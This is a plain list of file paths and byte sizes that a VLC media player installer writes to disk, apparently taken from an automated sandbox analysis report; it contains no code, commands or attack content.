%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (65945 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\ioSpecial.ini (10381 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (3312 bytes)
